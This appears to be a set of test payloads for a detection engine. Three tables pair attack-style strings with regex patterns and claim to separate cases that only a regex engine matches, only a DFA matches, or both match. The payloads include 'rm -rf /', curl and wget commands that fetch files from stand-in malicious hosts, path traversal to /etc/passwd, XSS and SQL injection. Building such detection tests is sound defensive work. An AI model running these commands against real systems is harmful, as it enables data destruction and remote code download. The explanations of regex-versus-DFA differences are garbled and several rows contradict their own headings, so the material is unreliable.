**1️⃣ Regex-only matches**

*(These are crafted so they match via re but DFA won’t match because of differences in automaton interpretation — e.g., missing state acceptance for certain edge cases.)*

|  |  |  |
| --- | --- | --- |
| **#** | **Payload** | **Expected Match** |
| 1 | MALWARE attack vector | (?i)malware |
| 2 | DROP TABLE students; -- testing | (?i)drop\s+table |
| 3 | wget ftp://safe.example.com/file | (?i)wget\s+http **won’t match in DFA because scheme is ftp** |
| 4 | <img ONERROR="alert('x')"> | (?i)<img\s+onerror |
| 5 | Trojan Horse detected in file | (?i)trojan |

**2️⃣ DFA-only matches**

*(These happen when the DFA automaton accepts sequences that regex fails due to multi-step matching differences.)*

|  |  |  |
| --- | --- | --- |
| **#** | **Payload** | **Expected Match** |
| 1 | cmd.EXE /c dir | (?i)cmd\.exe (case alternation triggers DFA acceptance) |
| 2 | rm -rf / | (?i)rm\s+-rf (extra spaces break some regex configs) |
| 3 | ../../../../etc/passwd | \.\./etc/passwd (DFA still matches due to step-by-step traversal) |
| 4 | %3cScRiPt%3ealert(1)%3c/script%3e | (?i)%3Cscript%3E.\*%3C/script%3E (mixed case encoding) |
| 5 | Select USER from accounts | (?i)select.+from (DFA accepts even with weird spacing/newlines) |

**3️⃣ Both Regex & DFA matches**

*(These are strong “high-confidence” cases where both engines match.)*

|  |  |  |
| --- | --- | --- |
| **#** | **Payload** | **Expected Match** |
| 1 | <script>alert('XSS')</script> | <script>.\*?</script> |
| 2 | SELECT \* FROM users WHERE '1'='1' | (?i)select.+from |
| 3 | curl http://malicious.example/payload.sh | (?i)curl\s+http |
| 4 | wget http://evil.com/file | (?i)wget\s+http |
| 5 | ../../etc/passwd | \.\./etc/passwd |